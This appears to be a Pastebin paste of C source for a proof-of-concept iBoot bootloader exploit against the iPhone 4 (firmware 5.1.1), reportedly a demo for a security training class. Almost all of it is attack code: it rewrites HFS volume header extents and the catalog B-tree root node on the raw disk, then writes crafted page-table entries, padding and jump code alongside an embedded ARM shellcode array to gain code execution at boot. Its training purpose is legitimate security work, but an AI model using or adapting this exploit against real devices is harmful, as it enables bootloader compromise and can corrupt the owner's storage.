Advertisement
Guest User

Untitled

a guest
Aug 26th, 2017
6,618
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 18.82 KB | None | 0 0
  1. /* (c) @p0sixninja */
  2. /* iBoot HFS exploit(s?) in header block size / extents block count */
  3. /* Tested on iPhone4 firmware 5.1.1 */
  4. /* PoC Demo for Mobile Hacking BlackHat training class */
  5.  
  6. static unsigned char code[] = {
  7.         0x0e, 0x00, 0x00, 0xea,
  8.         0x18, 0xf0, 0x9f, 0xe5,
  9.         0x18, 0xf0, 0x9f, 0xe5,
  10.         0x18, 0xf0, 0x9f, 0xe5,
  11.         0x18, 0xf0, 0x9f, 0xe5,
  12.         0x18, 0xf0, 0x9f, 0xe5,
  13.         0x18, 0xf0, 0x9f, 0xe5,
  14.         0x18, 0xf0, 0x9f, 0xe5,
  15.         0x40, 0x00, 0xf0, 0x5f,
  16.         0xd0, 0xac, 0xf1, 0x5f,
  17.         0x08, 0xad, 0xf1, 0x5f,
  18.         0x04, 0x02, 0x00, 0x42,
  19.         0xEF, 0xBE, 0xAD, 0xDE, //0x7c, 0xad, 0xf1, 0x5f,
  20.         0xb4, 0xad, 0xf1, 0x5f,
  21.         0x40, 0xac, 0xf1, 0x5f,
  22.         0x88, 0xac, 0xf1, 0x5f,
  23.         0x48, 0x00, 0x4f, 0xe2, 0xc4, 0x12, 0x9f, 0xe5, 0x01, 0x00, 0x50, 0xe1, 0x01, 0x00, 0x50, 0xe1,
  24.         0x09, 0x00, 0x00, 0x0a, 0xb4, 0x12, 0x9f, 0xe5, 0xb4, 0x22, 0x9f, 0xe5, 0x04, 0x30, 0x90, 0xe4,
  25.         0x04, 0x20, 0x52, 0xe2, 0x04, 0x30, 0x81, 0xe4, 0xfb, 0xff, 0xff, 0x1a, 0x9c, 0x12, 0x9f, 0xe5,
  26.         0x4f, 0xf0, 0x7f, 0xf5, 0x6f, 0xf0, 0x7f, 0xf5, 0x11, 0xff, 0x2f, 0xe1, 0x00, 0x00, 0x0f, 0xe1,
  27.         0x1f, 0x00, 0xc0, 0xe3, 0x12, 0x10, 0x80, 0xe3, 0x01, 0xf0, 0x21, 0xe1, 0x00, 0xe0, 0xa0, 0xe3,
  28.         0x8c, 0xd2, 0x9f, 0xe5, 0x11, 0x10, 0x80, 0xe3, 0x01, 0xf0, 0x21, 0xe1, 0x00, 0xe0, 0xa0, 0xe3,
  29.         0x78, 0xd2, 0x9f, 0xe5, 0x17, 0x10, 0x80, 0xe3, 0x01, 0xf0, 0x21, 0xe1, 0x00, 0xe0, 0xa0, 0xe3,
  30.         0x6c, 0xd2, 0x9f, 0xe5, 0x1b, 0x10, 0x80, 0xe3, 0x01, 0xf0, 0x21, 0xe1, 0x00, 0xe0, 0xa0, 0xe3,
  31.         0x5c, 0xd2, 0x9f, 0xe5, 0x13, 0x10, 0x80, 0xe3, 0x01, 0xf0, 0x21, 0xe1, 0x54, 0xd2, 0x9f, 0xe5,
  32.         0x00, 0x10, 0x0f, 0xe1, 0x01, 0x1c, 0xc1, 0xe3, 0x01, 0xf0, 0x22, 0xe1, 0x34, 0x02, 0x9f, 0xe5,
  33.         0x34, 0x12, 0x9f, 0xe5, 0x00, 0x20, 0xa0, 0xe3, 0x01, 0x00, 0x50, 0xe1, 0x04, 0x20, 0x80, 0xb4,
  34.         0xfc, 0xff, 0xff, 0xba, 0x10, 0x02, 0x9f, 0xe5, 0x0f, 0xe0, 0xa0, 0xe1, 0x10, 0xff, 0x2f, 0xe1
  35. };
  36.  
  37. int fs_hack() {
  38.     int i = 0;
  39.     int j = 0;
  40.     int x = 0;
  41.     int y = 0;
  42.     int fd = 0;
  43.     int rd = 0;
  44.     int off = 0;
  45.     int done = 0;
  46.     int found = 0;
  47.     unsigned int block = 0;
  48.     unsigned int word = 0;
  49.     unsigned int blocksize = 0;
  50.     unsigned int blockcount = 0;
  51.     unsigned int totalblocks = 0;
  52.     unsigned int catalog_start = 0;
  53.     unsigned int catalog_count = 0;
  54.     unsigned int payload_start = 0x1000;
  55.     unsigned int payload_count = 0x100000;
  56.     unsigned char buffer[0x2000];
  57.     unsigned char payload[0x2000];
  58.  
  59.     BTHeaderRec* record = NULL;
  60.     HFSPlusVolumeHeader* header = NULL;
  61.     BTNodeDescriptor* descriptor = NULL;
  62.  
  63.     memset(buffer, '\0', 0x2000);
  64.     memset(payload, '\0', 0x2000);
  65.     puts("Openning raw block device\n");
  66.     fd = open("/dev/rdisk0s1s1", O_RDWR);
  67.     if (fd > 0) {
  68.         blocksize = 0x2000;
  69.         //ioctl(fd, DKIOCGETBLOCKSIZE, &blocksize);
  70.         //ioctl(fd, DKIOCGETBLOCKCOUNT, &blockcount);
  71.         puts("Blocksize is ");
  72.         puti(blocksize);
  73.         endl();
  74.         //puts("Blockcount is ");
  75.         //puti(blockcount);
  76.         //endl();
  77.  
  78.         puts("Reading data from block device\n");
  79.         //lseek(fd, 0, SEEK_CUR);
  80.         x = read(fd, buffer, blocksize);
  81.         sync();
  82.         if (x > 0) {
  83.             //hexdump(buffer, blocksize);
  84.             if (header == NULL && done == 0) {
  85.                 header = (HFSPlusVolumeHeader*) patch_find(buffer, blocksize, "HX", 2);
  86.                 if (header != NULL) {
  87.                     puts("Found HFS Volume Header\n");
  88.  
  89.                     flipVolumeHeader(header);
  90.                     blocksize = header->blockSize;
  91.                     catalog_start = header->catalogFile.extents[0].startBlock;
  92.                     catalog_count = header->catalogFile.extents[0].blockCount;
  93.  
  94.                     totalblocks = header->totalBlocks;
  95.                     puts("Original volume block size = ");
  96.                     puti(header->blockSize);
  97.                     endl();
  98.                     puts("Original extents block count = ");
  99.                     puti(header->extentsFile.extents[0].blockCount);
  100.                     endl();
  101.                     puts("Original extents block start = ");
  102.                     puti(header->extentsFile.extents[0].startBlock);
  103.                     endl();
  104.                     if (header->blockSize == 0x2000
  105.                             && header->extentsFile.extents[0].blockCount == 0x200
  106.                             && header->extentsFile.extents[0].startBlock == 0x405) {
  107.  
  108.                         puts("Modifying HFS volume header block size\n");
  109.                         //header->blockSize = 0x2000;
  110.  
  111.                         puts("Modifying HFS extents header block count\n");
  112.                         //header->extentsFile.extents[0].blockCount = 0x40000;
  113.                         //header->extentsFile.extents[0].blockCount = 0x200;
  114.                         header->catalogFile.extents[1].startBlock = payload_start;
  115.                         header->catalogFile.extents[1].blockCount = payload_count;
  116.                         //header->catalogFile.extents[1].blockCount = 0x200;
  117.  
  118.                         //header->extentsFile.extents[0].startBlock = 0x421;
  119.                         //header->extentsFile.extents[0].startBlock = 0x405;
  120.                         //header->catalogFile.extents[1].startBlock = 0x1137;
  121.  
  122.                     } else {
  123.                         puts("Restoring HFS volume header block size\n");
  124.                         //header->blockSize = 0x2000;
  125.  
  126.                         puts("Restoring HFS extents header block count\n");
  127.                         //header->extentsFile.extents[0].blockCount = 0x40000;  //0x200;
  128.                         //header->extentsFile.extents[0].blockCount = 0x200;
  129.                         //header->catalogFile.extents[1].blockCount = 0x100000;
  130.                         //header->catalogFile.extents[1].blockCount = 0x200;
  131.                         header->catalogFile.extents[1].startBlock = payload_start;
  132.                         header->catalogFile.extents[1].blockCount = payload_count;
  133.  
  134.                         puts("Restoring HFS extents header start block\n");
  135.                         //done = 2;
  136.                         //header->extentsFile.extents[0].startBlock = 0x421;                        //0x405;
  137.                         //header->extentsFile.extents[0].startBlock = 0x405;
  138.                         //header->catalogFile.extents[1].startBlock = 0x1137;
  139.                     }
  140.  
  141.                     puts("New volume block size = ");
  142.                     puti(header->blockSize);
  143.                     endl();
  144.                     puts("New extents block count = ");
  145.                     puti(header->extentsFile.extents[0].blockCount);
  146.                     endl();
  147.                     puts("New extents block start = ");
  148.                     puti(header->extentsFile.extents[0].startBlock);
  149.                     endl();
  150.                     flipVolumeHeader(header);
  151.  
  152.                     endl();
  153.                     lseek(fd, 0, SEEK_SET);
  154.                     y = write(fd, buffer, blocksize);
  155.                     sync();
  156.                     puts("Wrote ");
  157.                     puti(y);
  158.                     puts(" bytes to disk");
  159.                     endl();
  160.                     if (done == 2) {
  161.                         done = 1;
  162.                         return -1;
  163.                     }
  164.                 }
  165.             }
  166.  
  167.             if (!found) {
  168.                 //lseek(fd, (0x1055 * 0x2000), SEEK_SET);
  169.  
  170.                 // Seek to the first extents BTree header
  171.                 memset(buffer, '\0', 0x2000);
  172.                 lseek(fd, (catalog_start * blocksize), SEEK_SET);
  173.                 x = read(fd, buffer, blocksize);
  174.                 if (x == blocksize) {
  175.                     //hexdump(buffer, 0x2000);
  176.                     puts("Read in BTree header record at ");
  177.                     puti(catalog_start * blocksize);
  178.                     endl();
  179.                     descriptor = (BTNodeDescriptor*) buffer;
  180.                     flipNodeDescriptor(descriptor);
  181.                     if (descriptor->kind == kBTHeaderNode) {
  182.                         puts("Found header node");
  183.                         endl();
  184.                         record = (BTHeaderRec*) (buffer + sizeof(BTNodeDescriptor));
  185.                         flipBTHeaderRec(record);
  186.                         puts("Old rootNode was ");
  187.                         puti(record->rootNode);
  188.                         endl();
  189.                         record->rootNode = catalog_count + 1;
  190.                         puts("New rootNode is ");
  191.                         puti(record->rootNode);
  192.                         endl();
  193.                         flipBTHeaderRec(record);
  194.                     }
  195.                     flipNodeDescriptor(descriptor);
  196.                     lseek(fd, (catalog_start * blocksize), SEEK_SET);
  197.                     y = write(fd, buffer, blocksize);
  198.                     puts("Wrote ");
  199.                     puti(y);
  200.                     puts(" bytes");
  201.                     endl();
  202.                 }
  203.  
  204.                 puts("Our start offset should now be ");
  205.                 puti((payload_start + 1) * blocksize);
  206.                 endl();
  207.  
  208.                 lseek(fd, ((payload_start + 1) * blocksize), SEEK_SET);
  209.                 /*
  210.                  unsigned int current = 0;
  211.                  unsigned int target = 0x5FFF9800;
  212.                  memset(payload, '\0', 0x2000);
  213.                  for(i = 0; i < 0x51; i++) {
  214.                  write(fd, payload, 0x1000);
  215.                  current += 0x1000;
  216.                  }
  217.                  sync();
  218.  
  219.                  //0x5ff00c0e
  220.                  memset(payload, '\0', 0x2000);
  221.                  for(i = 0; i < 0x1000; i+=4) {
  222.                  if(i == 0x780) {
  223.                  memcpy(&payload[i], "\x00\x00\x00\x00", 4);
  224.                  puts("Heap address should be 0x");puti(target - current);endl();
  225.                  } else {
  226.                  memcpy(&payload[i], "\x0e\x0c\xf0\x5f", 4);
  227.                  }
  228.                  current+=4;
  229.                  }
  230.  
  231.                  //for(i = 0; i < 0x1; i++) {
  232.                  write(fd, payload, 0x1000);
  233.                  //}
  234.                  sync();
  235.  
  236.                  memset(payload, '\0', 0x2000);
  237.                  for(i = 0; i < 0x80; i++) {
  238.                  write(fd, payload, 0x1000);
  239.                  }
  240.                  sync();
  241.                  */
  242.  
  243.                  // 0x5ff1ac080
  244.                 unsigned int ttb = 0x5FFF8000;
  245.                 unsigned int start = 0x5ff1ae80;                            //0x5ffae180;//0x5FFAE300;
  246.                 unsigned int padding = ttb - start;
  247.                 unsigned int filler = padding / 0x2000;
  248.                 unsigned int remainder = padding % 0x2000;
  249.  
  250.                 puts("ttb = ");
  251.                 puti(ttb);
  252.                 endl();
  253.                 puts("start = ");
  254.                 puti(start);
  255.                 endl();
  256.                 puts("padding = ");
  257.                 puti(padding);
  258.                 endl();
  259.                 puts("filler = ");
  260.                 puti(filler);
  261.                 endl();
  262.                 puts("remainder = ");
  263.                 puti(remainder);
  264.                 endl();
  265.  
  266.                 unsigned int current = start;
  267.                 memset(payload, '\0', 0x2000);
  268.                 while ((current + 0x2000) < ttb) {
  269.                     puts("Writing padding to ");
  270.                     puti(current);
  271.                     endl();
  272.                     write(fd, payload, 0x2000);
  273.                     current += 0x2000;
  274.                     sync();
  275.                 }
  276.  
  277.                 memset(payload, '\0', 0x2000);
  278.                 for (i = 0; i < 0x2000; i++) {
  279.                     if (current < ttb) {
  280.                         //puts("Filling in remainder at ");
  281.                         //puti(current);
  282.                         //endl();
  283.                         payload[i] = 0x1;
  284.                         current++;
  285.                     } else if (current == ttb) break;
  286.                 }
  287.  
  288.                 unsigned int j = 0;
  289.                 unsigned int pa = 0;
  290.                 unsigned int index = 0;
  291.                 unsigned int* tlb = (unsigned int*) &payload[i];
  292.                 while (i < 0x2000) {
  293.                     pa = index * 0x100000;
  294.                     if (current == ttb) {
  295.                         puts("Found start of tlb at ");
  296.                         puti(current);
  297.                         endl();
  298.                         tlb = (unsigned int*) &payload[i];
  299.                         tlb[j] = 0x5ff00c0e;
  300.  
  301.                     } else if (current > ttb) {
  302.                         puts("Writing tlb entry for pa ");
  303.                         puti(index * 0x100000);
  304.                         puts(" at ");
  305.                         puti(current);
  306.                         endl();
  307.                         if (pa > 0 && pa < 0x60000000) {
  308.                             tlb[j] = pa | 0xc0e;
  309.                         }
  310.                         if (pa >= 0x60000000 && pa < 0x80000000) {
  311.                             tlb[j] = pa | 0xc32;
  312.                         }
  313.                         if (pa >= 0x80000000 && pa < 0xF0000000) {
  314.                             tlb[j] = pa | 0xc32;
  315.                         }
  316.                     }
  317.                     current += 4;
  318.                     i += 4;
  319.                     index++;
  320.                     j++;
  321.                 }
  322.                 write(fd, payload, 0x2000);
  323.                 sync();
  324.  
  325.                 i = 0;
  326.                 j = 0;
  327.                 memset(payload, '\0', 0x2000);
  328.                 tlb = (unsigned int*) &payload[i];
  329.                 while (i < 0x2000) {
  330.                     pa = index * 0x100000;
  331.                     if (current == ttb) {
  332.                         puts("Found start of tlb at ");
  333.                         puti(current);
  334.                         endl();
  335.                         tlb = (unsigned int*) &payload[i];
  336.                         tlb[j] = 0x5ff00c0e;
  337.                     }
  338.                     else if ((current > ttb) && (current < ttb + 0x4000)) {
  339.                         puts("Writing tlb entry for index ");
  340.                         puti(index * 0x100000);
  341.                         puts(" at ");
  342.                         puti(current);
  343.                         endl();
  344.                         if (pa > 0 && pa < 0x60000000) {
  345.                             tlb[j] = pa | 0xc0e;
  346.                         }
  347.                         if (pa >= 0x60000000 && pa < 0x80000000) {
  348.                             tlb[j] = pa | 0xc32;
  349.                         }
  350.                         if (pa >= 0x80000000 && pa < 0xF0000000) {
  351.                             tlb[j] = pa | 0xc32;
  352.                         }
  353.                     }
  354.                     current += 4;
  355.                     i += 4;
  356.                     index++;
  357.                     j++;
  358.                 }
  359.                 write(fd, payload, 0x2000);
  360.                 sync();
  361.  
  362.                 i = 0;
  363.                 j = 0;
  364.                 memset(payload, '\0', 0x2000);
  365.                 tlb = (unsigned int*) &payload[i];
  366.                 while (i < 0x2000) {
  367.                     pa = index * 0x100000;
  368.                     if ((current > ttb) && (current < ttb + 0x4000)) {
  369.                         puts("Writing tlb entry for index ");
  370.                         puti(index * 0x100000);
  371.                         puts(" at ");
  372.                         puti(current);
  373.                         endl();
  374.                         if (pa > 0 && pa < 0x60000000) {
  375.                             tlb[j] = pa | 0xc0e;
  376.                         }
  377.                         if (pa >= 0x60000000 && pa < 0x80000000) {
  378.                             tlb[j] = pa | 0xc32;
  379.                         }
  380.                         if (pa >= 0x80000000 && pa < 0xF0000000) {
  381.                             tlb[j] = pa | 0xc32;
  382.                         }
  383.                     } else if (current >= (ttb + 0x4000)) {
  384.                         puts("Padding rest of block at ");
  385.                         puti(current);
  386.                         endl();
  387.                         tlb[j] = 0xDEADBEEF;
  388.                     }
  389.                     current += 4;
  390.                     i += 4;
  391.                     index++;
  392.                     j++;
  393.                 }
  394.                 write(fd, payload, 0x2000);
  395.                 sync();
  396.  
  397.                 // These should be NOPS rather then Invalid instructions
  398.                 memset(payload, 0xEE, 0x2000);
  399.                 for (i = 0; i < 0x8; i++) {
  400.                     puts("Writing NOP/INV block at ");
  401.                     puti(current);
  402.                     endl();
  403.                     write(fd, payload, 0x2000);
  404.                     current += 0x2000;
  405.                     sync();
  406.                 }
  407.  
  408.                 puts("*** Our payload should go here ***\n");
  409.  
  410.                 // Pad to around 0x7FF00000
  411.                 memset(payload, '\0', 0x2000);
  412.                 for (i = 0; i < 0x10000; i++) {
  413.                     if ((i % 0x1000) == 0) {
  414.                         puts("Writing NULL Block at ");
  415.                         puti(current);
  416.                         endl();
  417.                     }
  418.                     if (current >= 0x7FF00000) break;
  419.                     write(fd, payload, 0x2000);
  420.                     current += 0x2000;
  421.                     sync();
  422.                 }
  423.  
  424.                 // Write our jump back to nop slide
  425.                 memset(payload, '\0', 0x2000);
  426.                 for (i = 0; i < 0x2000; i += 8) {
  427.                     puts("Writing our jump code at ");
  428.                     puti(current);
  429.                     endl();
  430.                     memcpy(&payload[i + 0], "\x00\x4b\x98\x47", 4);
  431.                     memcpy(&payload[i + 4], "\x00\x00\x00\x40", 4);
  432.                     current += 8;
  433.                 }
  434.                 write(fd, payload, 0x2000);
  435.                 sync();
  436.  
  437.                 /*
  438.                  // Write the second level TLB at 0x5FFB0000
  439.                  unsigned int* second = (unsigned int*) &payload[0];
  440.                  memset(payload, '\0', 0x2000);
  441.                  for (i = 0; i < 0x100; i++) {
  442.                  //if (i == 0) {
  443.                  //second[i] = 0x5FF00002;
  444.                  //} else {
  445.                  //second[i] = 0x5FF00002 + (i * 0x1000);
  446.                  //}
  447.                  }
  448.                  write(fd, payload, 0x2000);
  449.                  sync();
  450.  
  451.                  // Write 23 blocks of NULLs to pad
  452.                  memset(payload, '\0', 0x2000);
  453.                  for (i = 0; i < 0x23; i++) {
  454.                  write(fd, payload, 0x2000);
  455.                  sync();
  456.                  }
  457.  
  458.                  // We should be at 0x5FFF8000 now
  459.                  // Write the first half of our first level entries
  460.                  memset(payload, '\0', 0x2000);
  461.                  unsigned int* first = (unsigned int*) &payload[0];
  462.                  for (i = 0; i < 0x800; i++) {
  463.                  unsigned int pa = i * 0x100000;
  464.                  if (pa >= 0 && pa < 0x60000000) {
  465.                  first[i] = pa | 0xc0e;
  466.                  }
  467.                  if (pa >= 0x60000000 && pa < 0x80000000) {
  468.                  first[i] = pa | 0xc32;
  469.                  }
  470.                  if (pa >= 0x80000000 && pa < 0x90000000) {
  471.                  first[i] = pa | 0xc32;
  472.                  }
  473.                  if (pa >= 0xB0000000 && pa < 0xC0000000) {
  474.                  first[i] = pa | 0xc32;
  475.                  }
  476.                  }
  477.                  write(fd, payload, 0x2000);
  478.                  sync();
  479.  
  480.                  // We should be at 0x5FFFA000 now
  481.                  // Write the second half of our first level entry
  482.                  memset(payload, '\0', 0x2000);
  483.                  first = (unsigned int*) &payload[0];
  484.                  for (i = 0; i < 0x800; i++) {
  485.                  unsigned int pa = (i + 0x800) * 0x100000;
  486.                  if (pa >= 0 && pa < 0x60000000) {
  487.                  first[i] = 0x5FF00000 | 0xc0e;
  488.                  }
  489.                  if (pa >= 0x60000000 && pa < 0x80000000) {
  490.                  first[i] = pa | 0xc32;
  491.                  }
  492.                  if (pa >= 0x80000000 && pa < 0x90000000) {
  493.                  first[i] = pa | 0xc32;
  494.                  }
  495.                  if (pa >= 0xB0000000 && pa < 0xC0000000) {
  496.                  first[i] = pa | 0xc32;
  497.                  }
  498.                  }
  499.                  write(fd, payload, 0x2000);
  500.                  sync();
  501.  
  502.                  // We should be at 0x5FFFC000 now
  503.                  // Pad 0x4000 more bytes
  504.                  memset(payload, '\0', 0x2000);
  505.                  for (i = 0; i < 0x2; i++) {
  506.                  write(fd, payload, 0x2000);
  507.                  sync();
  508.                  }
  509.  
  510.                  // We should be at 0x60000000 now
  511.                  // 0x60000000 should be mapped to 0x5FF3A000
  512.                  // Our payload goes here
  513.  
  514.                  //lseek(fd, (0x2000 * 0x2000), SEEK_SET);
  515.                  memset(payload, 0xEE, 0x2000);
  516.                  //memcpy(payload, code, sizeof(code));
  517.                  //memcpy(&payload[0x1000], code, sizeof(code));
  518.                  //for (i = 0; i < 0xFF80; i++) {
  519.                  */
  520.  
  521.                 /*
  522.                  //0xDEADBEEF
  523.                  memset(payload, '\0', 0x2000);
  524.                  for (i = 0; i < 0x2000; i += 8) {
  525.                  //if (i < 0x100) {
  526.                  // memcpy(&payload[i + 0], "\x0E\x00\x00\xEA", 4);
  527.                  // memcpy(&payload[i + 4], "\x00\x00\x00\x00", 4);
  528.                  // continue;
  529.                  //}
  530.                  memcpy(&payload[i + 0], "\x00\x4b\x98\x47", 4);
  531.                  memcpy(&payload[i + 4], "\x00\x00\x00\x40", 4);
  532.                  }
  533.  
  534.                  for (i = 0; i < 0x8; i++) {
  535.                  puts("Writing payload block ");
  536.                  puti(i);
  537.                  endl();
  538.                  write(fd, payload, 0x2000);
  539.                  sync();
  540.                  }
  541.                  */
  542.                 /*
  543.                  memset(payload, 0xCC, 0x2000);
  544.                  for(i = 0; i < 0x2; i++) {
  545.                  write(fd, payload, 0x2000);
  546.                  sync();
  547.                  }
  548.                  */
  549.  
  550.                 //for (i = 0; i < blocksize; i++) {
  551.                 //  if (buffer[i] == 0) continue;
  552.                 //  else break;
  553.                 //}
  554.                 //if(i == blocksize) {
  555.                 //  puts("Block ");puti(block);puts(" is empty");endl();
  556.                 //} else {
  557.                 //  puts("Block ");puti(block);puts(" not empty");endl();
  558.                 //}
  559.                 //endl();
  560.                 /*
  561.                  for(i = 0; i < 0x3000; i++) {
  562.                  lseek(fd, (i * 0x2000), SEEK_SET);
  563.                  x = read(fd, buffer, 0x2000);
  564.                  //puts("Read ");puti(x);endl();
  565.                  for(j = 0; j < 0x2000; j++) {
  566.                  if(buffer[j] == 0x0) continue;
  567.                  else break;
  568.                  }
  569.                  if(j == 0x2000) {
  570.                  if(i >= 0x420 && i < 0x520) {
  571.                  lseek(fd, (i * 0x2000), SEEK_SET);
  572.                  puts("Block empty: ");puti(i);endl();
  573.                  memset(payload, 'A', 0x2000);
  574.                  y = write(fd, payload, 0x2000);
  575.                  //puts("Wrote ");puti(y);endl();
  576.                  sync();
  577.                  }
  578.                  } //else {
  579.                  //puts("Block not empty!!!!");endl();
  580.                  //}
  581.                  memset(buffer, 0x1, 0x2000);
  582.                  }
  583.                  */
  584.                 /*
  585.                  block = 0x421;
  586.                  if (block == 0x421) {
  587.                  //hexdump(payload, blocksize);
  588.                  lseek(fd, (block * blocksize), SEEK_SET);
  589.                  puts("Writing our payload to block ");
  590.                  puti(block);
  591.                  endl();
  592.                  rd = open("/dev/rmd0", O_RDWR);
  593.                  if (rd > 0) {
  594.                  for (j = 0; j < 0x80; j++) {
  595.                  memset(payload, '\0', 0x2000);
  596.                  puts("Reading ramdisk block ");
  597.                  puti(j);
  598.                  endl();
  599.                  x = pread(rd, payload, blocksize, 0x780000 + (j * blocksize));
  600.                  puts("Read ");
  601.                  puti(x);
  602.                  puts(" bytes");
  603.                  endl();
  604.                  if (x == blocksize) {
  605.                  puts("Writing disk block ");
  606.                  puti(j);
  607.                  endl();
  608.                  y = write(fd, payload, blocksize);
  609.                  puts("Wrote ");
  610.                  puti(y);
  611.                  puts(" bytes");
  612.                  endl();
  613.                  sync();
  614.                  }
  615.                  //hexdump(payload, blocksize);
  616.                  }
  617.                  close(rd);
  618.                  }
  619.                  //unsigned char* task = NULL;
  620.                  //unsigned char* storage = 0x5ff85600;
  621.                  //unsigned char* destination = 0x5ff3c93c;
  622.                  //hexdump(payload, blocksize);
  623.                  //for (j = 0x0; j < blocksize; j += 4) {
  624.                  // memcpy(&payload[j], "\x00\x00\x00\x00", 4);
  625.                  //}
  626.                  // iBoot 0x604-0x608
  627.                  //for (j = 0x600; j < 0x700; j += 4) {
  628.                  // memcpy(&payload[j], "\x00\x00\x00\x00", 4);
  629.                  //}
  630.                  //hexdump(payload, blocksize);
  631.  
  632.                  //unsigned int* reset = ((unsigned int*)&payload[0x824]);
  633.                  //puts("Reset Vector Original: ");puti(*reset);endl();
  634.                  //*reset = 0xEA00000E;
  635.                  //puts("Reset Vector Replaced: ");puti(*reset);endl();
  636.  
  637.                  //lseek(fd, (block * blocksize), SEEK_SET);
  638.                  //for(j = 0; j < 0x24; j++) {
  639.                  //puts("Writing block ");puti(block);endl();
  640.                  //y = write(fd, payload, blocksize);
  641.                  //puts("Wrote ");puti(y);puts(" bytes");endl();
  642.                  //sync();
  643.                  //}
  644.                  //found = 1;
  645.                  //sync();
  646.                  }
  647.  
  648.                  */
  649.             }
  650.             //block++;
  651.             //if (block > totalblocks || block > 0x500) break;
  652.             //puts("Attempting to read block ");puti(block);puts("\n");
  653.             //lseek(fd, (block * blocksize), SEEK_SET);
  654.             //x = read(fd, buffer, blocksize);
  655.             //sync();
  656.         }
  657.         puts("Closing raw block device\n");
  658.         close(fd);
  659.     }
  660.  
  661.     return 0;
  662. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement